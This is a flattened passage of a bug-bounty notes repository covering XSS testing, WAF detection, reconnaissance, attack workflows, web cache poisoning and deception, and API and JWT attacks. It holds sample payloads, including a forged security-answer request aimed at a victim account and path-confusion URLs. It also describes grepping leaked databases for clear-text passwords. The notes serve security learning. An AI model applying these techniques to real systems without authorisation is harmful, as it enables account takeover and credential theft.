user. 17 | - If you're allowed to move on to the password reset page congrats. 18 | ```security_question=hacked&security_answer=hacked&username=victim_account``` 19 | --- 20 | -------------------------------------------------------------------------------- /Methodologies/xss.md: -------------------------------------------------------------------------------- 1 | # Cross Site Scripting (XSS) 2 | There are many methods for finding a XSS vulnerability. Some of the methods are given as follows. 3 | You can check for XSS by following methods: 4 | 5 | ### 1. Source Code Method 6 | 1. Look for an Input section on the Web Page. It can be search box, comment box, signup or anything else. 7 | 2. Type any random query in the Input field, to check if it reflects on the web page. 8 | 3. If it reflects, view the source code of the page and analyze how is your input being relflected. 9 | 4. Your goal is to add your script in such a way it get executed. For Example: 10 | ``` javascript 11 | "> 12 | ``` 13 | Here "> will close the existing tag and your script will be executed (If the website is vulnerable to xss). 14 | ![](assets/xss1.png) 15 | - Following are some of the techniques to craft your payload: 16 | 17 | 18 | - We can use : and the closing is FILTERED simply convert it  into HTML code so that the browser directly execute that (TIP: you can try changing the type="text") 27 | ![](assets/xss5.png) 28 | 8. ```

``` Tag represents plain text, where you will have to use `````` tags example: ```


38 | 39 | ## 2. Web Applications 40 | 41 | ### 2.1 Introduction 42 | - When dealing with domains or web applications we want to perform some additional fingerprinting. We want to know the technology stack, programming languages used, firewalls used, and more. Remember web applications can be found on both IPs and domains, most people forgot about the IPs during this phase. 43 | 44 | ### 2.2 Wappalyzer 45 | - Wappalyzer is by far the best tool for identifying web technologies. Basically, the tool analyzes an applications source code using a bunch of regexes to find out what technologies its running. You can download an extension for your browser. 46 | 47 | ### 2.3 Firewall 48 | - It’s not uncommon to see an application protected by a web application firewall (WAF). Before you start throwing a bunch of XSS payloads at a target you should check to see if there is a WAF. 49 | - https://github.com/EnableSecurity/wafw00f 50 | ```bash 51 | wafoof 52 | ``` 53 | ![](waf.png) 54 | 55 | ![](assets/waf.png) 56 | 57 | - The hacking community has been bypassing WAFs ever since the first WAF came out and much of it is documented. 58 | - https://github.com/0xInfection/Awesome-WAF#known-bypasses 59 | 60 | ## Conclusion 61 | - If your testing a web application it’s a good idea to see if it’s protected by a firewall. Web application firewalls (WAFs) are designed to block malicious attacks such as XSS but they all seem to contain bypasses. 62 | - If you discover an application is behind a WAF you need to adjust your payloads so they are able to bypass the firewall. It does no good to spend hours testing for XSS if it’s getting 63 | blocked by a WAF, work smarter not harder. 64 | -------------------------------------------------------------------------------- /Notes/Reconnaissance- Phase1.md: -------------------------------------------------------------------------------- 1 | # Reconnaissance [Phase 1] 2 | The beginning of the recon phase is broken down into vertical and horizontal correlation. The idea behind horizontal correlation is to find all assets related to a company. This could be acquisitions, CIDR ranges, and domains that are owned by the same person. Vertical correlation when dealing with domains involves finding all subdomains belonging to a single domain.
3 | ![](assets/domain-enumeration.png)
4 | [Read](https://0xpatrik.com/asset-discovery/) an Article about Enumeration.
5 |
6 | 7 | ### 1. CIDR Range 8 | - A **Classless Inter-Domain Routing (CIDR)** range is a short way of representing a group of IP addresses 9 | - CIDR ranges can be used to help identify assets belonging to an organization. 10 | - #### ASN 11 | - An** Autonomous System Number (ASN**) is a way to represent a collection of IPs and who owns them. 12 | - ASN Lookup : 13 | - We can use [MxToolbox](https://mxtoolbox.com/asn.aspx) or [Huricane ](https://bgp.he.net/) to find a company’s ASN as well as their correlating CIDR ranges 14 | - #### Reverse Whois 15 | - When registering a domain your information is saved in a whois database. This information contains the *registers name, address, email,* and much more. Searching the whois database we can find all domains registered by the email ***.example.com** 16 | - Using historical whois data to perform reverse whois searches is an excellent way to find domains that were purchased by the same organization. Companies often own more than one domain so finding these additional assets can help widen your scope. 17 | - #### Reverse DNS 18 | - DNS records contain several bits of information that can be used to correlate domains to one another. The A, NS, and MX records are the most popular ways to find domains that are likely to be owned by the same person. 19 | - If domains share the same A, NS, or MX record then it is possible they are owned by the same person. We can use reverse IP, reverse name server, and reverse mail server searches to find these domains.
20 | - #### Reverse Name Server 21 | - ![](assets/dns-server-lookup.png) 22 | - We can use the tool called [Domaineye](assets/dns-server-lookup) 23 | - #### Reverse Mail Server 24 | - ![](assets/dns-mail-lookup.png) 25 | - We can use the same technique to perform reverse mail server searches. Just like before the MX record returned must be owned by the target organization. 26 | - Conclusion 27 | - DNS records can be used to tie domains together. If domains share the same A, NS, or MX record we can assume they are owned by the same entity. There may be some false positives but these can be filtered out. 28 | - It Will increase Your Scope in Bug Hunting. 29 |
30 | 31 | ### 2. Google Dorking 32 | 33 | - Dorking is no doubt a great option for filtering your results according to your purpose. We can perform several tasks through the google dorking. For Example: 34 | - We can then take that copyright text (A Copyright statement is unique for each website, located at the bottom of the web page) and search for every other website that contains this text. 35 | - intext:"© 2021 realself, inc. all rights reserved. realself is a registered trademark of realself, inc." 36 | - ![Dorking](assets/dorking.png) 37 |
38 | 39 | ### 3. Tools - Amass 40 | 41 | - Amass is the most popular asset discovery tool there is. This tool has many features and acts as the Swiss army knife of asset discovery. 42 | - We can perform several Discovery Actions using this tool. Some of the Informations that can be revealed using this tool are listed below: 43 | - ASN: we can use a company’s ASN number to find a list of assets belong to the organization. First, we must find a list ASN numbers assigned to an organization using the following amass command: 44 | ``` 45 | amass intel -org 46 | ``` 47 | ![](assets/amass-asn.png) 48 | - This command will return a list of ASN numbers that might belong to the organization. 49 | - CIDR Range: Now that you have a list of ASN numbers you can find the associated CIDR range by using the following bash command: 50 | ``` 51 | whois -h whois.radb.net -- '-i origin ' | grep -Eo "([0-9.]+){4}/[0-9]+" | sort -u 52 | ``` 53 | - ![](assets/whois-cidr.png) 54 | - List of Domain: You can also use amass to find a list of domains running on a given ASN. This will use reverse IP searches to find domains running on the IPs in the specified ASN. The following command can be used to find domains running on a given ASN: 55 | ``` 56 | amass intel -asn 57 | ``` 58 | - Amass can also be used to find domains on a given CIDR range. We can use the following command to find these endpoints: 59 | ``` 60 | amass intel -cidr 61 | ``` 62 | - Reverse Whois: Given a specific domain amass can utilize reverse whois searches to find other domains purchased by the same user. The following command can be used to issue this request: 63 | ``` 64 | amass intel -whois -d 65 | ``` 66 | -------------------------------------------------------------------------------- /Notes/Methodology - Workflows.md: -------------------------------------------------------------------------------- 1 | # Methodology - Workflow 2 | Before you start trying to hack something you need to come up with a high-level plan of attack. 3 | 4 | ## 1. Traditional Workflow 5 | This is the Traditional Workflow :
6 | ![](assets/traditional-workflow.png) 7 | #### 1. Domain 8 | - Pick a Company / Organization hosting the Bug Bounty Program. 9 | - Locate all domains belonging to that company 10 | - Perform DNS resolution to determine the A, NS, MX, and NAME records of each target. (All A records should be added to a list of IPs belonging to the company.) 11 | 12 | #### 2. CIDR 13 | A CIDR range is just a range of IP addresses belonging to an organization. 14 | - Large companies tend to have their own CIDR ranges but smaller companies will typically rent servers from a third-party vendor such as Rackspace or amazon web services (AWS) so they won’t have a CIDR range 15 | 16 | #### 3. IP 17 | - Perform a port scan of each port of the IP Addresses obtained. 18 | - If you don’t properly fingerprint each host you will be missing potential vulnerabilities. 19 | 20 | #### 4. Web Application 21 | - The final step in this recon process is to take the list of subdomains and IPs running a web application and perform fingerprinting and content discovery on them. 22 | - For instance, if you see a site is running WordPress you might run a WordPress scanner on it. If you see an Apache Struts page you might try some known CVEs for that, the list goes on. 23 | - After your fingerprint the host you will want to perform content discovery. 24 |
25 | 26 | ## 2. Github Workflow 27 | Sometimes developers will upload hard coded credentials in their source code and config files for the world to see. The workflow is: 28 | ![Github Workflow](assets/github-workflow.png) 29 | - With a little recon you can find the repositories (used to manage and store the source code) and if you get lucky you will find some hard-coded credentials that can be used to login to their application or server. 30 |
31 | 32 | ## 3. Cloud Workflow 33 | The VPS, database, storage, and everything else can be hosted in the cloud. The workflow for Cloud Architecture is:
34 | ![](assets/cloud-workflow.png)
35 | Note: S3 buckets is a place to store files, it acts as your cloud storage. 36 | - Sometimes companies will leave these open to the public allowing people to download sensitive data. AWS is not the only one impacted by this, nearly all cloud providers share this misconfiguration. 37 | - check each cloud provider to see if your target has any assets with a misconfigured storage bucket. 38 |
39 | 40 | ## 4. Google Dork Workflow 41 | Google dorks allow you to filter through the massive amount of data Google collects to find specific things, for example if you only want to show PDF 42 | files hosted on an endpoint there is a dork for that.
43 | ![](assets/google-dork-workflow.png) 44 | - Use google dorks to locate sensitive information on third party sites that a target uses. 45 |
46 | 47 | ## 5. Leaked Credentials Workflow 48 | This workflow might be out of scope.
49 | ![leaked workflow](assets/leaked-creds-workflow.png) 50 | - First you must go out and find all of these database leaks. These can be downloaded for free by simply searching on google. 51 | - The final step is to grep through these files for your target domain, something like the final step is to grep through these files for your target domain, something like “*@example.com”. After that is completed you should have a list of emails with their associated clear text password. After that is completed you should have a list of emails with their associated clear text password. 52 |
53 | 54 | ## 6. Exploit Workflows 55 | 56 | ### 6.1 New CVE Workflow 57 | - The second a new CVE drops with a working POC you want to be exploiting it. This workflow only happens every so often and you have to act fast when it does.
58 | ![](assets/cve-workflow.png) 59 | - Let's say some dude named Orange drops a Palo alto firewall RCE exploit. You will need to figure out if your targets are running Palo alto so you can launch the exploit. You don’t want to go around trying to exploit everything as that would be foolish. Once you find some potential targets via fingerprinting you should launch the POC exploit code and wait to see if it worked. 60 | 61 | ### 6.2 Known Exploit / Misconfiguration Workflow 62 | - The basic idea here is to fingerprint your targets assets so you can find known CVEs and misconfigurations impacting their technology stack.
63 | ![](assets/exploit-workflow.png) 64 | - For example, if your target is running apache struts then you may want to try launching some throwing some apache struts exploits at the target. 65 | - You need to fingerprint both the targets domains and IPs. Once that is completed you can search for public CVEs with working POCs. You’re not only looking for CVEs, you’re also looking for misconfigurations. CVEs get patched while misconfigurations can happen at any time to anyone. 66 | 67 | ### 6.3 CMS Workflow 68 | - These exploits are generally bundled up as some sort of tool which scans for everything, this makes your life a lot easier as a tester, all you need to know is what tool to run for which CMS.
69 | ![](assets/cms-workflow.png) 70 | 71 | ### 6.4 OWASP Workflow 72 | - If your hunting for XSS, SQLI, IDOR, file upload, or any other vulnerability it will should during this phase.
73 | ![](assets/owasp-workflow.png) 74 | 75 | ### 6.5 Brute Force Workflow 76 | - This workflow involves brute forcing exposed admin interfaces, SSH services, FTP, services, and anything else that accepts credentials.
77 | ![](assets/brute-force-workflow.png) 78 | - Issue with this workflow is that many organizations will consider this type of attack out of scope so make sure to check 79 | 80 | -------------------------------------------------------------------------------- /Notes/Caching Servers.md: -------------------------------------------------------------------------------- 1 | # Caching Servers 2 | ## 1. Web Cache Poisoning 3 | - Web cache poisoning is a technique attackers use to force caching servers to server malicious requests. 4 | - Most commonly this attack is chained with self xss which turns a low impact xss finding into a high impact one since it can be served to any user who visits the cached page. 5 | 6 | Working of Cache Servers 7 | 8 | ![](assets/cache.png) 9 | 10 | - As you can see in the Image, initially when user requests for a URL for something=ok parameter, the request will be sent to server and the response will be saved to cache. However, for rest of 100 times, if the same URL is requested again - the request will get its response from the cache and there will be no need of pinging the server. 11 | 12 | - Identify the Cache Requests & Response 13 | - A cache key is an index entry that uniquely identifies an object in a cache. 14 | - ![](assets/care.png) 15 | - If we look at the above request the cache keys would be: 16 | - GET /embed/v4.js?_=1605995211298 17 | - Play.vidyard.com 18 | - ![](assets/cares.png) 19 | - As shown above in the HTTP response the “Vary” header says that the X-ThumbnailAB, X-China, accept-language, and Accept-Encoding headers are also used as cache keys. 20 | 21 | 22 | This was all basics, now lets move on to the Web Cache Poisoning Attack: 23 | 24 | - If an attacker can somehow inject malicious content into a http response that is cached the same response will be served to other users who request the same endpoint. 25 | ![](assets/steps.png) 26 | - The first step is to find unkeyed input. As mentioned earlier cache keys are used by the caching server to determine which requests are the same and which are different. We need to find keys that don't cause the server to think the request is different. (hence, named Unkeyed). 27 | - The second step is to determine the impact the unkeyed input has on the server, can it be used to exploit an open redirect vulnerability, self xss, or some other vulnerability. 28 | - Finally, you need to figure out if the page is cacheable using the unkeyed input, if it is you should be able to exploit other users when they view the cached page. 29 | - You can use "Param Miner" extension in Burp Suite, to facilitate the finding on unkeyed input 30 | ![](assets/param.png) 31 | - Now after getting the unkeyed input, work according the results. 32 | - Tips: 33 | - The “Age” header is also another indicator this page is cached. This value contains the seconds the page has been cached for. 34 | - The path is normally used when determining if a page has been cached or not, so adding a random GET parameter to the request should cause the response to be cached. 35 | 36 |
37 | 38 | ## 2. Web Cache Deception 39 | - "An attacker against the caching server" 40 | - With this attack we trick the caching server into caching sensitive information of other users. 41 | - Web cache deception works by sending the victim a URL which will cache the responsefor everyone to see. This exploit is only possible due to path confusion and the fact that some caching servers will cache any request containing a static file such as a png, jpeg, and css. 42 | - One Important thing is: "when a caching server decides to cache a response and when it doesn't " 43 | - Suppose you have the endpoint “setting.php” which returns a user's name,email,address, and phone number. There could be numerous users access setting.php and each response will be different as the response relies on the user currently logged in so it wouldn't make sense to have caching on this page. 44 | 45 | ![](assets/resca.png) 46 | - On line 15 there is a header called “cache-control” which is set to “no-cache”. This tells the caching server to not cache this page. 47 | - The caching server will cache all static pages no matter what the response headers say. 48 | - So if we were to request example.com/nonexistent.css” the caching server would cache this response regardless of the response headers because it is configured to do so. 49 | - Next let's look at path confusion. Path confusion occurs when an application loads the same resources no matter what the path is. With the rise of large web applications and complicated routing tables path confusion has been introduced. 50 | ![](assets/pathc.png) 51 | - As you can see above there is a catch all path on the root directory. 52 | - Both the “example.com” and example.com/something'' URL would be sent to the same catch_all function. 53 | 54 | ![](assets/revolver.png) 55 | 56 | The above image is from the white paper “Cached and Confused: Web Cache Deception in the Wild” and describes several techniques used to cause path confusion. 57 | 1. Path Parameter : It occurs when additional paths added to the request are passed to the same backend function. 58 | - So “example.com/account.php” is the same as “example.com/account.php/nonexistent.css” in the eyes of the application. However, the caching server sees example.com/account.php/nonexistent.css”. 59 | 60 | 2. Encoded Newline: It tries to take advantage of the fact that some proxies and web servers stop reading after the new line character but the caching server does not. 61 | - So the webserver sees example.com/account.php” but the caching server sitting in front of the website sees example.com/account.php%0Anonexistent.css” so it caches the response because they are different. 62 | 3. Encoded Semicolon : It takes advantage of the fact that some webservers treat semicolons(;) as parameters. However, the caching server may not recognize this value and treat the request as a separate resource. 63 | - The website sees “example.com/account.php” with the parameter “nonexistent.css” but the caching server only sees example.com/account.php%3Bnonexistent.css”. 64 | 4. Encoded Pound : It takes advantage of the fact that web servers often process the pound character as an HTML fragment identifier and stop parsing the URL after that. 65 | - However, the caching server may not recognize this so it sees example.com/account.php%23nonexistent.css” while the server sees example.com/account.php”. 66 | 5. Encoded Question Mark : It takes advantage of the fact that web servers treat question marks(?) as parameters but the caching server treats the response different. So the caching server sees example.com/account.php%3fname=valnonexistent.css” but the web server sees “example.com/account.php”. 67 | 68 | - To test for web cache deception try one of the several path confusing payloads as shown below: 69 | - example.com/nonexistent.css 70 | - example.com/%0Anonexistent.css 71 | - example.com/%3Bnonexistent.css 72 | - example.com/%23nonexistent.css 73 | - example.com/%3fname=valnonexistent.css 74 | 75 | --- 76 | -------------------------------------------------------------------------------- /Notes/API-Testing.md: -------------------------------------------------------------------------------- 1 | # API - Testing 2 | - Most modern day applications are split into two sections, frontend and backend as shown below: 3 | ![](brow.png) 4 | - The backend is the API and can be written in multiple languages. 5 | - There are several types of APIs and they are each slightly different so before you start API hacking you need to understand a few things. 6 | ![](api.png) 7 | ## 1. APIs 8 | ### 1.1 Rest API 9 | - 9 out of 10 times the API used is Rest API. Observe the request captured in burpsuite: 10 | ![](reqa.png) 11 | - First Sign telling the request is REST API is the fact that the request data is a JSON String.(JSON strings are widely used by REST APIs) 12 | - The other sign is that the application is issuing a PUT request. The PUT method is one of several HTTP methods associated with REST APIs. 13 | - Another sign you're dealing with a REST API is when the HTTP response contains a MIME type of JSON as shown in the below Burp requests: 14 | ![](mime.png) 15 | ### 1.2 RPC - Remote Procedural Call 16 | - oldest form of communication you will see being used by an application dating back to the 1980s. 17 | - This protocol is fairly basic, each HTTP request maps to a particular function. 18 | ![](rpc.png) 19 | - Indicators: 20 | - The first thing is the file name “xmlrpc.php”. XMLRPC uses XML while JSONRPC uses JSON for its encoding type. If this endpoint was an JSONRPC API the data would be contained in a JSON string instead of an XML doc, that's really the only difference between the two RPC APIs. 21 | - In the request body you see two tags called “methodCall” and “methodName” , since RPC requests correspond to function names so this is another hint at this being an RPC API. 22 | (Here we are calling the function “system.listMethods” and passing zero arguments.) 23 | - You know that REST APIs use several HTTP methods such as PUT,POST, and DELETE but RPC APIs only use two, GET and POST methods. 24 | 25 | ### 1.3 SOAP - Simple Object Access Protocol 26 | - You can think of a SOAP API as a more advanced version of XMLRPC. They are both very similar by the fact they both use XML for encoding and HTTP to transfer messages. 27 | - However, SOAP APIs tend to be a little more complex as shown in the below request: 28 | ![](soap.png) 29 | - the SOAP request is a little more structured and inorder to send a SOAP request you must follow this structure. 30 | - An example of the SOAP format can be found below: 31 | ![](env.png) 32 | - The header part is optional and is used to hold values related to authentication, complex types, and other information about the message itself. The body is the part of the XML document which actually contains our message. 33 | - Example: 34 | ```xml 35 | 36 | 37 | 38 | gero et 39 | 40 | 41 | ``` 42 | - As you can see in the above SOAP body we are calling a method named “GetCitiesByCountry” and passing in an argument called “CountryName ” with a string 43 | value of “gero et”. 44 | 45 | ### 1.4 GraphQL API 46 | - GraphQL is a data query language developed by Facebook and was released in 2015. GraphQL acts as an alternative to REST API. 47 | - Rest API v/s GraphQL: 48 | - Rest APIs require the client to send multiple requests to different endpoints on the API to query data from the backend database. With graphQL you only need to send one request to query the backend. 49 | - This means by default graphQL allows anyone to query it, any sensitive information will be available to attackers unauthenticated. 50 | - When performing your directory brute force attacks make sure to add the following paths to check for graphQL instances: 51 | - /graphql 52 | - /graphiql 53 | - /graphql.php 54 | - /graphql/console 55 | - Once you find an open graphQL instance you need to know what queries it supports. This can be done by using the [introspection system](https://graphql.org/learn/introspection/) 56 | - Issuing the following requests will show you all the queries that are available on the endpoint. 57 | ``` graphql 58 | example.com/graphql?query=__schema{types{name,fields{name}}}} 59 | ``` 60 | ![](graph.png) 61 | - Other than missing authentication by default graphQL endpoints can be vulnerable to other bugs such as IDOR. 62 | 63 | ## 2. Authentication 64 | If an application requires you to login it must use some form of authentication to verify who you are. Depending on what authentication method an application is using there could be several types of attacks used to compromise the authentication process. Compromising the authentication process will typically lead to account takeover(ATO) 65 | vulnerabilities 66 | ### 2.1 HTTP Basics 67 | - This is probably the most basic and easy to implement type of authentication. As shown in the below image you can identify HTTP Basic Auth by the popup it displays in web browsers. 68 | ![](auth.png) 69 | - That's one of the biggest downfalls of using HTTP Basic Auth. Each time you send a request your clear text username and password are sent as a base64 encoded authentication header making it very susceptible to eavesdropping attacks. 70 | 71 | ### 2.2 Json Web Token 72 | - extremely popular among API endpoints as they are easy 73 | to implement and understand. 74 | ![](jwt.png) 75 | - a JWT token is made up of three parts separated by dots: 76 | ``` 77 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c 78 | ``` 79 | - The token can easily be decoded using a base64 decoder, but I like to use the site [jwt.io](jwt.io) to decode these tokens as shown below. 80 | ![](jwtio.png) 81 | - Notice how there are three parts to a JWT token: 82 | - Header : this is where you specify the algorithm used to generate the signature. 83 | - Payload : this is where you specify the information used for access control. In the above example the payload section has a variable called “name”, this name is used to determine who the user is when authenticating 84 | - Signature : this value is used to make sure the token has not been modified or tampered with. The signature is made by concatenating the header and the payload sections then it signs this value with the algorithm specified in the header which in this case is “H256”. 85 | - Without a signature anyone could modify the payload section completely bypassing the authentication process. If you remove the signature from a JWT token and it's still accepted then you have just bypassed the verification process. This means you can modify the payload section to anything you want and it will be accepted by the backend. 86 | - this attack can be done manually or you can use a Burp plugin called “Json Web Token Attacker” as shown in the below image: 87 | ![](json.png) 88 | 89 | - Brute Force Secret Key : 90 | - JWT tokens will either use an HMAC or RSA algorithm to verify the signature. 91 | - If the application is using an HMAC algorithm it will use a secret key when generating the signature. If you can guess this secret key you will be able to generate signatures allowing you to forge your own tokens. 92 | - There are several projects that can be used to crack these keys as shown below: 93 | - https://github.com/AresS31/jwtcat 94 | - https://github.com/lmammino/jwt-cracker 95 | - https://github.com/mazen160/jwt-pwn 96 | - https://github.com/brendan-rius/c-jwt-cracker 97 | - RSA to HMAC : 98 | - There are multiple signature methods which can be used to sign a JWT token as shown in the list below: 99 | - RSA: When using RSA the JWT token is signed with a private key and verified with the public key. As you can tell by the name the private key is meant to be private and the public key is meant to be public. 100 | - HMAC: HMAC is a little different, like many other symmetric encryption algorithms HMAC uses the same key for encryption and decryption. 101 | - None: None 102 | 103 | - In the code when you are using RSA and HMAC it will look something like the following: 104 | - verify(“RSA”,key,token) 105 | - verify(“HMAC”,key,token) 106 | ![](hmac.png) 107 | 108 | -------------------------------------------------------------------------------- /Notes/Reconnaissance - Phase2.md: -------------------------------------------------------------------------------- 1 | # Reconnaissance [Phase 2] 2 | ## 1. Wordlists 3 | Word lists are used to find new subdomains, interesting files, cracking passwords, and much more. 4 | #### 1.1 Sec List 5 | - If you’re looking for a good wordlist this should be the first place you look, chances are they have the wordlist you're looking for. 6 | - https://github.com/danielmiessler/SecLists 7 | - Robots Disallow: The robots.txt disallow directory is used to tell scraping bots such as google to not crawl certain files and file paths, this can be a good indication that they are trying to hide something. 8 | - RAFT: The RAFT wordlists contains a large number of interesting filenames and directories. There are several different versions of this list ranging in size but I generally just go with the largest list. 9 | - Technology Specific: Seclists contains specific wordlists for PHP, Golang, ASP, Apache, IIS, and a bunch more. 10 | #### 1.2 Common Speak 11 | - https://github.com/assetnote/commonspeak2 12 | - https://github.com/assetnote/commonspeak2-wordlists 13 | - Common speak from Assetnote has a unique way of generating wordlists. 14 | #### 1.3 All 15 | - The majority of people use this wordlist for subdomain brute forcing. 16 | - You won’t find a bigger word list than this one. 17 | - https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056 18 | 19 | #### 1.4 CRTSH 20 | - Every https domain is logged in a database somewhere. Internetwache created a tool to scrape this database for subdomains. Every hour Internetwache uses this tool to update his wordlist. 21 | - https://github.com/internetwache/CT_subdomains 22 | 23 |
24 | 25 | ## 2. Subdomain Enumeration 26 | #### 2.1 Certification Transparency Logs 27 | - Any site that starts with HTTPS:// uses SSL certificates to provide a secure connection. If a hacker or rogue certificate authority is able to forge this certificate they would be able to perform man in the middle attacks. 28 | 29 | ![](assets/subdomain-enum.png) 30 | - The certificate transparency log is used to monitor and audit unauthorized certificates. Every time you get an SSL certificate for your domain or subdomain it will be logged in certificate transparency logs 31 | - We can find all SSL certificates belonging to a domain by issuing a GET request to https://crt.sh/?q=%25.facebook.com as shown below: 32 | 33 | ![](assets/crt.png) 34 | - Tools: 35 | - [Crtsh.py](https://github.com/ghostlulzhacks/CertificateTransparencyLogs) 36 | #### 2.2 Search Engine 37 | - Google dorks can be utilized to find subdomains with the following dork: 38 | - Site: 39 | - This dork wil return all the links belonging to a specific domain. 40 | ![](assets/dork.png) 41 | #### 2.4 Github 42 | - Almost every developer uses GitHub to store their source code. Developers will often hard code private or hidden endpoint points in their source code. 43 | - Tool : [Github-Search](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) by [gwen001](https://github.com/gwen001). 44 | 45 | #### 2.5 Brute Force 46 | - Brute forcing is probably the most popular way to find subdomains. You might think that you send a get requests to a bunch of subdomains and see which ones resolve but that’s wrong. DNS can be used to brute force subdomains without sending packets to your target. All you do is perform a DNS requests against a subdomain if it resolves to an IP then you know it’s live. 47 | - GoBuster: [GoBuster](https://github.com/OJ/gobuster) is a good tool for discovering the directories hosted on a web server as well as a enumerating the Subdomains. 48 | - It is however dependent on how good wordlist are you using for the enumeratoin. 49 | #### 2.6 Subdomain Permutation 50 | - One of the best ways to find hidden assets is through the use of permutations. A permutation is a way a set of words can be rearranged. 51 | - For example, if we have the subdomain test.starbcuks.com and the words dev, stage, and production we could come up with several possible subdomains. We would have dev-test.starbucks.com, dev.test.starbucks.com, production-test.starbucks.com, andso on. 52 | - All this can be done automatically with altdns: 53 | - [Altdns](https://github.com/infosec-au/altdns) 54 | - Using altdns we can pass in a list of found subdomains and a list of words and the tool will output a huge list of permutations. The tool can also resolve eachnewly found subdomain to see if they are live: 55 | ``` 56 | altdns -i found_subdomains.txt -o permutation_output -w words.txt -r -s resolved_output.txt 57 | ``` 58 | 59 | - Other Tools: There are a lot of other techniques and resources that people can use to find subdomains. 60 | - Virus Total 61 | - Netcraft 62 | - DNSdumpster 63 | - Threat crowed 64 | - Shodan 65 | - Cencys 66 | - DNSdb 67 | - Pastebin 68 | 69 | #### 2.7 Tools 70 | 1. Amass: 71 | - https://github.com/OWASP/Amass 72 | - Amass will utilize a bunch of online resources to find subdomains. Most of these are third party vendors which they scrape or utilize their API to pull a listsubdomains. 73 | 2. Knock.py: 74 | - https://github.com/guelfoweb/knock 75 | - it shows the response status and the technology stack. This is very useful for quickly understanding each subdomain. 76 | 77 |
78 | 79 | ## 3. DNS Resolutions 80 | - During the subdomain enumeration process, you should have generated a large list subdomains. In order to start probing these endpoints you need to know which ones are live. 81 | - To do this we can perform a DNS lookup against a domain to see if it contains an A record. 82 | - [Massdns](https://github.com/blechschmidt/massdns): The tool is written in C and requires us to build it before we can use it. 83 | 84 |
85 | 86 | ## 4. Screen Shot 87 | - When you’re dealing with thousands of targets it is much easier to scroll through a bunch of screenshots than visiting each site manually. Just by looking at a screen shot you can determine several things such as its technology, is it old, does it look interesting, is there login functionality, and much more. 88 | - [Eyewitness](https://github.com/FortyNorthSecurity/EyeWitness): It attempts to take a screenshot of each domain in the list that was passed to the tool. Once the tool is finished you can scroll through each of the screen shots to find interesting endpoints. 89 | 90 |
91 | 92 | ## 5. Content Discovery 93 | - Content discovery is a vital process in the reconnaissance phase. Failing to perform this phase properly will result in lots of missed vulnerabilities. The main purpose behind content discovery is to find endpoints on a target domain. 94 | - You are looking for things such as log files, config files, interesting technologies or applications, and anything else that is hosted on the website. 95 | ![](assets/content-disc.png) 96 | 97 | #### 5.1 Self Crawl 98 | - One of the best ways to find endpoints on a target is to crawl the application. Crawling a website involves recursively visiting each link and saving each link on a web page recursively. 99 | - Tool: [Crawler](https://github.com/ghostlulzhacks/crawler/tree/master). 100 | 101 | #### 5.2 Wayback Machine Crawl Data 102 | - The Wayback Machine is an archive of the entire internet. Basically, they go to every website and they crawl it while taking screenshots and logging the data to a database. 103 | - interesting filters include: 104 | - .zip 105 | - .config 106 | - /admin/ 107 | - /api/ 108 | - Once you get the data start looking for interesting files and GET parameters that might be vulnerable. 109 | 110 | 111 | #### 5.3 Common Crawl Data 112 | - like the Wayback Machine this data is publicly available and 113 | we can use it to get a list of endpoints on a site passively. 114 | - http://commoncrawl.org/ 115 | - The following script can be used to query the data provided by common crawl: 116 | - https://github.com/ghostlulzhacks/commoncrawl 117 | 118 | #### 5.4 Directory Brute Force 119 | - Depending on your wordlists you can find all kinds of interesting endpoints like backup files, core dumps, config files, and a whole lot more. 120 | - Tool: [GoBuster](https://github.com/OJ/gobuster) 121 | 122 |
123 | 124 | ## 6. Inspecting JS Files 125 | There are interesting things in JavaScript files such as AWS keys, S3 bucket endpoints, API keys, and much more. 126 | 127 | #### 6.1 Link Finder 128 | - Linkfinder is one of the best tools for parsing endpoints from JavaScript files. The tool works by using jsbeautifier with a list of regexes to find URLs. 129 | - [LinkFinder Tool](https://github.com/GerbenJavado/LinkFinder) 130 | #### 6.2 JSearch 131 | - Jssearch is another JavaScript parser except this tool primarily used to find sensitive or interesting strings. 132 | - For instance, developers will sometimes hard code API keys, AWS credentials, and other sensitive information in JavaScript files. This information can easily be parsed out with the use of regexes. 133 | - [JSearch Tool](https://github.com/incogbyte/jsearch) 134 | 135 |
136 | 137 | ## 7. Google Dorks 138 | - A huge list of interesting dorks can be found on the exploit-db 139 | website. 140 | - https://www.exploit-db.com/google-hacking-database 141 | 142 | #### 7.1 Dork Basics 143 | - Dorks work on the vast majority of search engines such as Bing, AOL, and yahoo. Depending on how thorough you want to be you may wish to utilize the results of multiple search engines. 144 | - site: domainName 145 | - “inurl:” and “intitle:” 146 | - https://gbhackers.com/latest-google-dorks-list/ 147 | 148 | #### 7.2 Third Party Vendors 149 | - Organizations utilize sites such as Trello, Pastebin, GitHub, Jira, and more in their daily operations. Using Google dorks, you can find these endpoints and search for sensitive information. 150 | - There have been several instances where I have found credentials stored on a public Trello board. A typical dork when looking for third party vendors looks like: 151 | - site: ThirdPartyVendor CompanyName 152 | 153 | #### 7.3 Content 154 | ![](assets/dork-1.png) 155 | ![](assets/dork-2.png) 156 | ![](assets/dork-3.png) 157 | ![](assets/dork-4.png) 158 | 159 | #### Conclusion 160 | Google dorks can be used to find anything and everything about your target.Google dorks have been around for a long time and they don’t seem to be going away anytime soon. There are some people who solely rely on google dorks to find their vulnerabilities. 161 | Exploit-db has a huge list of dorks that can be used to 162 | find sensitive or vulnerable endpoints. Although exploit-db contains many interesting dorks I often find myself searching for third party vendors for interesting information. 163 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![](Notes/assets/banner.gif) 2 |

Bug Hunting

3 | A Collection of Notes, Methodologies, POCs, Tools and everything else related to Bug Hunting. :v: 4 | 5 |
6 | 7 |
8 | 9 | 10 | ![](https://img.shields.io/twitter/follow/IamLucif3r_?style=social) ![](https://img.shields.io/github/followers/IamLucif3r?label=Follow%20Me&style=social) 11 | ![](https://img.shields.io/badge/Contribuitions-Welcome-brightgreen) 12 | 13 | 14 | 15 |
